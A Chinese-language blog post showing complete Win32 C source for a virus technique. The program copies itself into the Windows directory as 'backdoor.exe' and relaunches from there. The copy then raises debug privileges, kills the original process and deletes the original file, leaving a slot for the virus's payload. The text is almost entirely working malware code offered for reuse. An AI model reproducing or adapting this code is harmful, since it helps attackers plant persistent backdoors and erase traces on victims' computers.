另类病毒的自删除方法

系统 1571 0

//  调整权限

VOID DebugPrivilege()

{

    HANDLE hToken = NULL;

   

    BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

   

    if ( bRet == TRUE )

    {

        TOKEN_PRIVILEGES tp;

        tp.PrivilegeCount = 1;

       LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

        tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;

       AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

       

        CloseHandle(hToken);

    }

}

 

//  获得某进程的 PID

DWORD GetProcessId(char *szProcessName)

{

    DWORD dwPid = 0;

    BOOL bRet = 0;

    PROCESSENTRY32 pe32 = { 0};

    pe32.dwSize =sizeof(PROCESSENTRY32);

 

    HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    bRet = Process32First(hSnap,&pe32);

 

    while ( bRet )

    {

        if (strcmp(pe32.szExeFile, szProcessName) == 0 )

        {

            break;

        }

        bRet =Process32Next(hSnap, &pe32);

    }

 

    dwPid =pe32.th32ProcessID;

    return dwPid;

}

 

//  结束某进程

VOID CloseProcess(DWORD dwPid)

{

    HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

    TerminateProcess(hProcess,0);

    CloseHandle(hProcess);

}

 

这几个函数完成后,我们就来根据病毒的流程来完成病毒的主体代码,代码如下:

int main(int argc, char **argv)

{

    // Windows 目录

    char szWinDir[MAX_PATH] ={ 0 };

    //  当前目录

    char szCurrDir[MAX_PATH] ={ 0 };

 

   GetWindowsDirectory(szWinDir, MAX_PATH);

    GetModuleFileName(NULL,szCurrDir, MAX_PATH);

 

    //  获取当前的目录

    int ch = '\\';

    char *pFileName =strrchr(szCurrDir, ch);

    int nLen =strlen(szCurrDir) - strlen(pFileName);

    szCurrDir[nLen] = NULL;

 

    if ( strcmp(szWinDir,szCurrDir) == 0 )

    {

        //  相同目录

        //  判断参数个数

        //  根据参数个数判断是否需要删除原病毒文件

        //  如果病毒是开机自动启动的话,不会带有参数

        printf("argc = %d\r\n", argc);

        if ( argc == 2 )

        {

            ch = '\\';

            pFileName =strrchr(argv[1], ch);

            pFileName ++;

           printf("pFileName = %s \r\n", pFileName);

            DWORD dwPid =GetProcessId(pFileName);

            printf("dwPid= %d \r\n", dwPid);

            DebugPrivilege();

           CloseProcess(dwPid);

            pFileName =argv[1];

           printf("pFileName = %s \r\n", pFileName);

            Sleep(3000);

           DeleteFile(pFileName);

        }

        else

        {

            //  病毒的功能代码

        }

    }

    else

    {

        //  不同目录,说明是第一次运行

 

        //  复制自身到 windows 目录里下

        strcat(szWinDir,"\\backdoor.exe");

       GetModuleFileName(NULL, szCurrDir, MAX_PATH);

        CopyFile(szCurrDir,szWinDir, FALSE);

 

        //  构造要运行 windows 目录下的病毒

        //  以及要传递的自身位置

        strcat(szWinDir," \"");

        strcat(szWinDir,szCurrDir);

        strcat(szWinDir,"\"");

        printf("%s\r\n", szWinDir);

        WinExec(szWinDir, SW_SHOW);

        Sleep(1000);

    }

 

    // getch() 模拟病毒的动作

    //  保持病毒进程不退出

    getch();

    return 0;

}

另类病毒的自删除方法


更多文章、技术交流、商务合作、联系博主

微信扫码或搜索:z360901061

微信扫一扫加我为好友

QQ号联系: 360901061

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描下面二维码支持博主2元、5元、10元、20元等您想捐的金额吧,狠狠点击下面给点支持吧,站长非常感激您!手机微信长按不能支付解决办法:请将微信支付二维码保存到相册,切换到微信,然后点击微信右上角扫一扫功能,选择支付二维码完成支付。

【本文对您有帮助就好】

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描上面二维码支持博主2元、5元、10元、自定义金额等您想捐的金额吧,站长会非常 感谢您的哦!!!

发表我的评论
最新评论 总共0条评论